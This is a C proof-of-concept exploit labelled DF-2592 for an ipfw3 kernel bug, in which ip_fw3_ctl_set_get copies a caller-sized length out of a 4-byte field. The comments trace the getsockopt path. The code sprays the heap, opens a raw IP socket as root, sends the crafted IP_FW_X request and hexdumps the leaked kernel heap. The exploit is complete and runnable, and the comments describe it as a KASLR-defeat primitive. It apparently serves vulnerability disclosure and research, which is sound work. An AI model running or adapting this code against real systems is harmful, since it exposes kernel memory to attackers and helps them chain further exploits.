DF-2592 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 | /* * DF-2592 PoC โ kernel heap memory disclosure via ip_fw3_ctl_set_get. * * Bug: sys/net/ipfw3/ip_fw3_set.c โ ip_fw3_ctl_set_get() does: * bcopy(&ctx->sets, sopt->sopt_val, sopt->sopt_valsize); * but ctx->sets is a SINGLE uint32_t (4 bytes) sitting at offset 32 of the * ~36-byte kmalloc'd struct ipfw3_context (kmalloc-64 bucket). sopt_valsize * is attacker-controlled (up to 65536 non-root, 32MB root via getsockopt) * and is NEVER clamped to sizeof(ctx->sets). The bcopy therefore reads * (sopt_valsize - 4) bytes PAST the end of the sets field, through the * zeroed intra-chunk padding, into neighbouring slab chunks / pages, and * copies that stale kernel heap back to the caller. Repeatable kernel * heap disclosure primitive. * * Reach (getsockopt path): * getsockopt(raw_ip_sock, IPPROTO_IP, IP_FW_X=49, buf, &len) * -> rip_ctloutput (raw_ip.c:335, SOPT_GET) -> ip_fw3_sockopt * -> ip_fw3_ctl_x (ip_fw3.c:1039) strips 4-byte ip_fw_x_header{opcode}, * sets sopt_name=opcode, sopt_valsize-=4 * -> ip_fw3_ctl (ip_fw3.c:1070) IP_FW_SET_GET(95) * -> ip_fw3_ctl_set_sockopt -> ip_fw3_ctl_set_get -> OOB bcopy. * * NOTE on privilege: a raw IP socket requires caps_priv_check(SYSCAP_NONET_RAW), * i.e. root (or jail allow_raw_sockets). The bug path is root-reachable; this * PoC must be run as root. The leak is of KERNEL heap, so it is still a real * kernel info-disclosure / KASLR-defeat primitive from a privileged context, * but there is no unprivileged boundary to cross. * * Build: cc -o poc poc.c * Run: ./poc [readlen] defaults: readlen=4096 */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> /* IP_FW_X is the ipfw3 setsockopt/getsockopt selector (netinet/in.h: 49) */ #ifndef IP_FW_X #define IP_FW_X 49 #endif /* IP_FW_SET_GET = 95 : get the set config (returns ctx->sets, 4 bytes valid) */ #define OP_SET_GET 95 /* ip_fw_x_header: 4-byte header stripped by ip_fw3_ctl_x */ struct ip_fw_x_header { uint16_t opcode; uint16_t _pad; }; int main(int argc, char **argv) { size_t readlen = (argc > 1) ? (size_t)strtoul(argv[1], NULL, 0) : 4096; if (readlen < 16 || readlen > 65536) readlen = 4096; /* user buffer = ip_fw_x_header + (readlen-4) payload bytes */ size_t buflen = readlen; unsigned char *buf = malloc(buflen); if (!buf) { perror("malloc"); return 2; } printf("[*] DF-2592 ip_fw3_ctl_set_get unbounded bcopy heap leak\n"); printf("[*] getsockopt(IPPROTO_IP, IP_FW_X=%d, opcode=IP_FW_SET_GET=%d) readlen=%zu\n", IP_FW_X, OP_SET_GET, readlen); printf("[*] ctx->sets is a single uint32_t (4 bytes); we read %zu bytes -> %zu leaked\n", readlen, readlen - 4 - 4); /* ---- step 1: churn kernel heap so neighbouring kmalloc-64 chunks hold residue ---- */ printf("[*] churning kernel heap (pipes/sockets) to populate slab residue...\n"); for (int i = 0; i < 200; i++) { int p[2]; if (pipe(p) == 0) { close(p[0]); close(p[1]); } int s2 = socket(AF_INET, SOCK_DGRAM, 0); if (s2 >= 0) close(s2); } /* ---- step 2: open raw IP socket (needs SYSCAP_NONET_RAW = root) ---- */ int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("[-] socket(AF_INET,SOCK_RAW,IPPROTO_RAW)"); printf("[-] raw socket requires root (SYSCAP_NONET_RAW). errno=%d\n", errno); free(buf); return 2; } printf("[+] raw socket opened fd=%d\n", s); /* ---- step 3: build the IP_FW_X payload: header(opcode=95) + padding ---- */ memset(buf, 0, buflen); struct ip_fw_x_header *xh = (struct ip_fw_x_header *)buf; xh->opcode = OP_SET_GET; xh->_pad = 0; /* put a recognizable marker in the payload region so we can see it get * clobbered by the kernel's bcopy of ctx->sets + leaked heap */ memset(buf + sizeof(*xh), 0x5a, buflen - sizeof(*xh)); /* ---- step 4: getsockopt โ kernel overwrites buf with leaked bytes ---- */ socklen_t len = (socklen_t)buflen; printf("[*] getsockopt len=%u (before)\n", len); fflush(stdout); int rc = getsockopt(s, IPPROTO_IP, IP_FW_X, buf, &len); int saved_errno = errno; printf("[*] getsockopt rc=%d errno=%d (%s) returned len=%u\n", rc, saved_errno, strerror(saved_errno), len); if (rc < 0) { printf("[-] getsockopt failed; ipfw3 may not be loaded (kldload ipfw3)\n"); close(s); free(buf); return 1; } /* ---- step 5: analyse what came back ---- * First 4 bytes = ctx->sets (valid). Bytes [4..len-1] are the OOB read * past the sets field: first ~28 bytes are zeroed intra-chunk padding of * the kmalloc-64 chunk; everything after offset 32 (relative to &sets) is * the neighbouring slab chunk / adjacent page = leaked kernel heap. */ size_t got = len; size_t nonzero = 0, nonzero_after4 = 0, nonzero_after32 = 0; size_t first_nz = (size_t)-1; for (size_t i = 0; i < got; i++) { if (buf[i] != 0) { nonzero++; if (i >= 4) nonzero_after4++; if (i >= 36) nonzero_after32++; /* offset>=36 past &sets == next chunk */ if (first_nz == (size_t)-1) first_nz = i; } } printf("[*] got=%zu bytes back; nonzero total=%zu, after[4]=%zu, after[36]=%zu\n", got, nonzero, nonzero_after4, nonzero_after32); if (first_nz != (size_t)-1) printf("[*] first nonzero byte at offset %zu\n", first_nz); /* the valid ctx->sets value */ uint32_t sets_val = 0; if (got >= 4) memcpy(&sets_val, buf, 4); printf("[*] ctx->sets = 0x%08x\n", sets_val); if (nonzero_after4 > 0) { printf("[!] LEAK CONFIRMED: %zu nonzero bytes returned past the 4-byte sets field\n", nonzero_after4); printf("[!] sample hexdump (offset 0..63 of returned buffer):\n"); for (size_t i = 0; i < got && i < 64; i++) { printf("%02x ", buf[i]); if ((i & 15) == 15) printf("\n"); } printf("\n"); /* dump a 128-byte window around the first non-padding nonzero region */ size_t dumpstart = (first_nz < 4) ? 32 : first_nz; if (dumpstart < got) { size_t dumpend = dumpstart + 128; if (dumpend > got) dumpend = got; printf("[!] leak window [%zu..%zu):\n", dumpstart, dumpend); for (size_t i = dumpstart; i < dumpend; i++) { printf("%02x", buf[i]); if ((i - dumpstart) % 32 == 31 || i == dumpend - 1) printf("\n"); } } } else { printf("[~] no nonzero bytes past offset 4 in this run (heap may be clean);\n"); printf(" the OOB read still happened (got=%zu bytes from a 4-byte field).\n", got); } close(s); free(buf); printf("[*] done\n"); return (nonzero_after4 > 0) ? 0 : 3; } |